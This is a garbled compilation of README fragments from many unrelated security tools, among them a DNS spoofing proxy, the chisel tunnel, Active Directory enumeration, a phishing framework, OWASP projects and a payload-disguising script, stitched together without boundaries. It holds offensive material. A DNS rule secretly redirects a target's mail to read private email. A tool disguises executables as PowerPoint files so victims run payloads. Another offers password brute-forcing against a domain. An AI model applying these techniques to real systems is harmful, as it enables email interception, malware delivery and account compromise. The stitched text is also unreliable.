git clone https://github.com/4w4k3/rePy2exe.gitpython rePy2exe.pypython2.7 rePy2exe.py
apple.com ): {
"version": "1.0.0",
"port": 2248,
"dns_query_timeout": 10000,
"target_nameservers": [ "17.254.0.59", "17.254.0.50", "17.112.144.50", "17.112.144.59", "17.171.63.30", "17.171.63.40", "17.151.0.151", "17.151.0.152" ],
"rules": [
{
"name": "Secretly redirect all emails coming from 127.0.0.1!",
"query_type_matches": [ "MX" ],
"ip_range_matches": [ "127.0.0.1/32" ],
"modifications": [
{
"answer": [
{
"name": "apple.com",
"type": 15,
"class": 1,
"ttl": 10,
"priority": 10,
"exchange": "hacktheplace.localhost"
}
]
}
]
},
{
"name": "Make all responses NOERROR even if they've failed.",
"query_type_matches": [ "*" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
]
} version : The configuration file format version (for now is always 1.0.0 ). port : The port Judas should run on. dns_query_timeout : How long to wait in milliseconds before giving up on a reply from the upstream target nameserver. target_nameservers : The legit nameservers for your target domain, all DNS queries will be sent here from Judas on behalf of all requesting clients. rules : A list of rules with modifications to the DNS response to apply if matched. name : Name of a given rule. query_type_matches : List of query types to match on such as CNAME , A , etc. A wildcard ( * ) can also be specified to match any query type. ip_range_matches : List of IP ranges to match on. For selectively spoofing responses to a specific range of IPs. modifications : See the "Modifications" section of this README. modifications specification which is set to a list of varying modifications to make to the DNS response before it is sent back to the client. It is important that you read the node-dns documentation to understand the DNS response structure so you can modify it. { header:
{ id: 25373,
qr: 1,
opcode: 0,
aa: 1,
tc: 0,
rd: 1,
ra: 0,
res1: 0,
res2: 0,
res3: 0,
rcode: 5 },
question: [ { name: 'apple.com', type: 2, class: 1 } ],
answer:
[ { name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver2.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver4.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver3.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver5.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver6.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'adns2.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'adns1.apple.com' } ],
authority: [],
additional: [],
edns_options: [],
payload: undefined,
address: undefined,
...trimmed for brevity...{
"name": "Make all responses NOERROR even if they've failed.",
"query_type_matches": [ "*" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
} * )) and sets the header.rcode value of the DNS response to 0 . Whatever object is set as a modification element is merged into the DNS response - replacing whatever value was originally set. {
"name": "Secretly redirect all emails coming from 127.0.0.1!",
"query_type_matches": [ "MX" ],
"ip_range_matches": [ "127.0.0.1/32" ],
"modifications": [
{
"answer": [
{
"name": "apple.com",
"type": 15,
"class": 1,
"ttl": 10,
"priority": 10,
"exchange": "hacktheplace.localhost"
}
]
}
]
} MX query from 127.0.0.1 . The DNS response's answer is overwritten with a single MX record for hacktheplace.localhost . A real world implementation of this would be to redirect inbound emails from a specific IP in order to read private emails of your target. Additionally an attacker in a real world scenario may also choose to modify the response TTL to be a very high value in order to persist their malicious records in client DNS caches as long as possible. 
gem install owasp-glue docker run owasp/glue git clone https://github.com/owasp/glue
cd glue -- RVM will set to 2.3.1 with Gemset Glue
gem install bundler
bundle installcd lib
../bin/glue -h Glue <options> <target> -d for debug
-f for format (takes "json", "csv", "jira") Glue --help or see the OPTIONS.md file. >ruby bin/Glue <options> target gem build Glue.gemspec meditation:hooks mk$ cp /area53/owasp/Glue/hooks/pre-commit .meditation:hooks mk$ chmod +x pre-commitmeditation:hooks mk$ eval "$(docker-machine env default)"
curl https://i.jpillora.com/chisel! | bash docker run --rm -it jpillora/chisel --help$ go get -v github.com/jpillora/chisel crypto/ssh chisel server : $ chisel server --port $PORT --proxy http://example.com
# listens on $PORT, proxy web requests to 'http://example.com' :3000 , which is normally inaccessible due to Heroku's firewall. However, if we tunnel in with: $ chisel client https://chisel-demo.herokuapp.com 3000
# connects to 'https://chisel-demo.herokuapp.com',
# tunnels your localhost:3000 to the server's localhost:3000
Usage: chisel [command] [--help]
Version: 0.0.0-src
Commands:
server - runs chisel in server mode
client - runs chisel in client mode
Read more:
https://github.com/jpillora/chisel
chisel server --help
Usage: chisel server [options]
Options:
--host, Defines the HTTP listening host – the network interface
(defaults to 0.0.0.0).
--port, Defines the HTTP listening port (defaults to 8080).
--key, An optional string to seed the generation of a ECDSA public
and private key pair. All communications will be secured using this
key pair. Share this fingerprint with clients to enable detection
of man-in-the-middle attacks.
--authfile, An optional path to a users.json file. This file should
be an object with users defined like:
"<user:pass>": ["<addr-regex>","<addr-regex>"]
when <user> connects, their <pass> will be verified and then
each of the remote addresses will be compared against the list
of address regular expressions for a match. Addresses will
always come in the form "<host/ip>:<port>".
--proxy, Specifies the default proxy target to use when chisel
receives a normal HTTP request.
-v, Enable verbose logging
--help, This help text
Read more:
https://github.com/jpillora/chisel
chisel client --help
Usage: chisel client [options] <server> <remote> [remote] [remote] ...
server is the URL to the chisel server.
remotes are remote connections tunnelled through the server, each of
which come in the form:
<local-host>:<local-port>:<remote-host>:<remote-port>
* remote-port is required.
* local-port defaults to remote-port.
* local-host defaults to 0.0.0.0 (all interfaces).
* remote-host defaults to 0.0.0.0 (server localhost).
example remotes
3000
example.com:3000
3000:google.com:80
192.168.0.5:3000:google.com:80
Options:
--fingerprint, An optional fingerprint (server authentication)
string to compare against the server's public key. You may provide
just a prefix of the key or the entire string. Fingerprint
mismatches will close the connection.
--auth, An optional username and password (client authentication)
in the form: "<user>:<pass>". These credentials are compared to
the credentials inside the server's --authfile.
--keepalive, An optional keepalive interval. Since the underlying
transport is HTTP, in many instances we'll be traversing through
proxies, often these proxies will close idle connections. You must
specify a time with a unit, for example '30s' or '2m'. Defaults
to '0s' (disabled).
-v, Enable verbose logging
--help, This help text
Read more:
https://github.com/jpillora/chisel
--key option, which will be used to seed the key generation. When clients connect, they will also display the server's public key fingerprint. The client can force a particular fingerprint using the --fingerprint option. See the --help above for more information. --authfile option, the server may optionally provide a user.json configuration file to create a list of accepted users. The client then authenticates using the --auth option. See users.json for an example authentication configuration file. See the --help above for more information. crypto/ssh here http://blog.gopheracademy.com/go-and-ssh/ . (direct)
.--------------->----------------.
/ chisel chisel \
request--->client:2001--->server:2002---->fileserver:3000
\ /
'--> crowbar:4001--->crowbar:4002'
client server:3000 => 1 bytes in 1.440608ms
:3000 => 10 bytes in 658.833µs
:3000 => 100 bytes in 669.6µs
:3000 => 1000 bytes in 570.242µs
:3000 => 10000 bytes in 655.795µs
:3000 => 100000 bytes in 693.761µs
:3000 => 1000000 bytes in 2.156777ms
:3000 => 10000000 bytes in 18.562896ms
:3000 => 100000000 bytes in 146.355886ms chisel :2001 => 1 bytes in 1.393731ms
:2001 => 10 bytes in 1.002992ms
:2001 => 100 bytes in 1.082757ms
:2001 => 1000 bytes in 1.096081ms
:2001 => 10000 bytes in 1.215036ms
:2001 => 100000 bytes in 2.09334ms
:2001 => 1000000 bytes in 9.136138ms
:2001 => 10000000 bytes in 84.170904ms
:2001 => 100000000 bytes in 796.713039ms crowbar :4001 => 1 bytes in 3.335797ms
:4001 => 10 bytes in 1.453007ms
:4001 => 100 bytes in 1.811727ms
:4001 => 1000 bytes in 1.621525ms
:4001 => 10000 bytes in 5.20729ms
:4001 => 100000 bytes in 38.461926ms
:4001 => 1000000 bytes in 358.784864ms
:4001 => 10000000 bytes in 3.603206487s
:4001 => 100000000 bytes in 36.332395213s github.com/jpillora/chisel/share contains the shared package github.com/jpillora/chisel/server contains the server package github.com/jpillora/chisel/client contains the client package 1.0.0 - Init 1.1.0 - Swapped out simple symmetric encryption for ECDSA SSH 
skawa-mbp:automato $ ruby automato.rb
Written by: Sanjiv Kawa
Twitter: @skawasec
Usage: ruby automato.rb [options]
Main Arguments:
-d, --domain DOMAIN The target domain.
-u, --username USERNAME A domain user account name.
-p, --password PASSWORD The password for the corresponding domain user account.
-i, --ip DC_IP The IP address of a domain controller with RPC and LDAP listening.
Options:
-a, --all Run a bulk of automato's features. Enumerate all domain groups, administrators, computers and user account attributes.
-c, --domain-users Get all domain users in the domain.
-g, --groups Get all domain groups for the domain.
-m, --member GROUP List all users in a specified domain group. Make sure you escape spaces with a backslash!
-t, --attributes Get the domain account attributes for all domain users.
-b, --bad Get the bad password count for all domain users.
-z, --du-hunter USER_FILE Brute force a list of common usernames with a common password against the target domain.
-l, --la-hunter IP_FILE Test if a domain user is a local admin against a list of IP addresses with SMB listening in the target domain.
python iptodomain.py -i 103.22.201.25 -f 103.22.201.255 -o 103.22.200.255.txt -v -r IPsCF.txtiptodomain.py [-h] [-i FIRST_IP] [-f LAST_IP] [-w FILE2] [-o FILE1] [-v] [-r FILE3] Version release: v1.5-Stable
Distros Supported: Linux Kali, Ubuntu, Mint
Author: pedro ubuntu [ r00t-3xp10it ]
Suspicious-Shell-Activity© (SSA) RedTeam develop @2017Simple script that allow users to add a ms-word icon to one
existing executable.exe (using resource-hacker as backend appl)
and a ruby one-liner command that will hidde the .exe extension
and add the word doc .ppt extension to the end of the file name.backdoorppt tool uses 2 diferent extension spoof methods:
'Right to Left Override' & 'Hide Extensions for Known File Types'
Edit the 'settings' file to chose what method should be used..
cd backdoorppt && nano settings
xterm, wine, ruby, ResourceHacker(wine)
'backdoorppt script will work on wine 32 or 64 bits'
'it also installs ResourceHacker under .../.wine/Program Files/.. directorys'1º - backdoorppt only supports windows binarys to be transformed (.exe -> .ppt)
2º - backdoorppt requires ResourceHacker installed (wine) to change the icons
3º - backdoorppt present you 6 available diferent icons (.ico) to chose from
4º - backdoorppt does not build real ms-word doc files, but it will transform
your payload.exe to look like one word doc file (social engineering).
Target user thinks they are opening a word document file,
but in fact they are executing one binary payload insted.
cd core gradlew installDist build/install/core/bin/core gradlew build jettyRunWar docker pull ccaamm/passfault docker run -p 8080:8080 --name myPassfault ccaamm/passfault 
sudo su curl https://raw.githubusercontent.com/Raikia/FiercePhish/master/installer.sh | bash curl https://raw.githubusercontent.com/Raikia/FiercePhish/master/installer.sh | bash sudo su wget https://raw.githubusercontent.com/Raikia/FiercePhish/master/installer.sh chmod +x installer.sh ./installer.sh ./installer.sh -v (for method #2) to see the full log of everything running. If you still have problems, submit a bug report . 
docker pull ismisepaul/securityshepherd docker run -i -p 80:80 -p 443:443 -p 27017:27017 -t ismisepaul/securityshepherd /bin/bash/usr/bin/mongod &
/usr/bin/mysqld_safe &
service tomcat7 start authbind installed and configured on your host machine e.g. on Ubuntu you'll need to do the following; sudo apt-get install authbind
touch /etc/authbind/byport/80
touch /etc/authbind/byport/443
chmod 550 /etc/authbind/byport/80
chmod 550 /etc/authbind/byport/443
chown tomcat7 /etc/authbind/byport/80
chown tomcat7 /etc/authbind/byport/443 
To install:
Need:
* httpd server with TLS/SSL
* SQLite3
* php5 and php5-sqlite and PDO driver of sqlite
I test at nginx + php + fastcgi..
1-step
$ git clone https://github.com/CoolerVoid/nozes
$ cp -rf /nozes /var/www/html
$ chmod 755 -R /var/www/html/nozes
$ chmod o+w /var/www/html/nozes/db/ronin.db
$ setenforce 0 (at fedora) or chmod 755 at db/ronin.db
2-step
Go to:
http://localhost/nozes/view/login.php
Put it:
login: admin
password: 1234
Change your password at user manager menu...
3-steps
Before start tasks, up the Executor.php in background
$ php scripts/Executor.php &
cyberprobe has the following features: cybermon has the following features: cybermon software includes some support for STIX as a threat indicator specification, and can create alerts on the presence of threats on the network.
docker run -ti -p 127.0.0.1:443:5443 blabla1337/skf-flaskcd ~/
wget https://github.com/blabla1337/owasp-skf-chef/archive/master.zip
unzip master.zip
cd owasp-skf-chef-master
kitchen converge default# All the below commands should be run in the SKF chef directory
# Command for creating the VM with the SKF project
kitchen converge default
# Command for login to the VM with the SKF project
kitchen login default
# Command for detroying the VM with the SKF project
kitchen destroy cloudformation directory . On 64-bit platform:
sudo apt-get install python-pip sqlite3 lib32z1-dev python-dev libxml2-dev libxslt-dev libffi-dev libssl-dev
On 32-bit platform:
sudo apt-get install python-pip sqlite3 zlib1g-dev python-dev libxml2-dev libxslt-dev libffi-dev libssl-dev sudo pip install https://github.com/mitsuhiko/flask/tarball/master
sudo pip install owasp-skf python skf.py C:\Python27\Scripts\pip.exe install https://github.com/mitsuhiko/flask/tarball/master
C:\Python27\Scripts\pip.exe install owasp-skf cd C:\Python27\Lib\site-packages\skf
C:\Python27\python.exe skf.py ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" brew install python-pip sqlite3 sudo easy_install pip sudo pip install https://github.com/mitsuhiko/flask/tarball/master
sudo pip install owasp-skf sudo python skf.py apt-get install git apache2 libapache2-mod-wsgi
sudo a2enmod wsgi
cd /home/foobar
git clone https://github.com/blabla1337/skf-flask.git Change line:
app.run(host=bindaddr, port=5443, ssl_context='adhoc')
to:
app.run(host=bindaddr, port=5443) WSGIRestrictStdout Off
Listen 5443
<VirtualHost *:5443>
WSGIDaemonProcess skf user=www-data group=www-data threads=5
WSGIScriptAlias / /home/foobar/skf-flask/skf/skf.wsgi
<Directory /home/foobar/skf-flask/skf>
WSGIProcessGroup skf
WSGIApplicationGroup %{GLOBAL}
Order deny,allow
Allow from all
Require all granted
</Directory>
</VirtualHost><FilesMatch ".+\.py$">
SetHandler wsgi-script
</FilesMatch>
# Deny access to compiled binaries
# You should not serve these to anyone
<FilesMatch ".+\.py(c|o)$">
Order Deny,Allow
Deny from all
</FilesMatch> import sys, os
sys.path.insert (0,'/home/foobar/skf-flask/skf')
os.chdir("/home/foobar/skf-flask/skf")
from skf import app as application chmod +x /home/foobar/skf-flask/skf/skf.py
chown -R www-data:www-data /home/foobar/skf-flask
sudo service apache2 restart
Test and Deploy with Confidence. Easily sync your GitHub projects with Travis CI and you'll be testing your code in minutes!
SKF Build details:DELIVER BETTER CODE. We help developers deliver code confidently by showing which parts of your code aren't covered by your test suite.
SKF Coveralls details:Why to use Scrutinizer. Improve code quality and find bugs before they hit production with our continuous inspection platform. Improve Code Quality.
SKF Scrutinizer details:Monitor HTTP(s), Ping, Port and check Keywords. Get alerted via e-mail, SMS, Twitter, web-hooks or push. View uptime, downtime and response times.ssllabs.org:
Bringing you the best SSL/TLS and PKI testing tools and documentation.
sslbadge.org:
Creates a nice badge for your website SSL/TLS security settings based on the Qualys SSL Labs testing.python faraday.py --update
git clone https://github.com/4w4k3/Insanity-Framework.gitpython insanity.pypython2.7 insanity.py
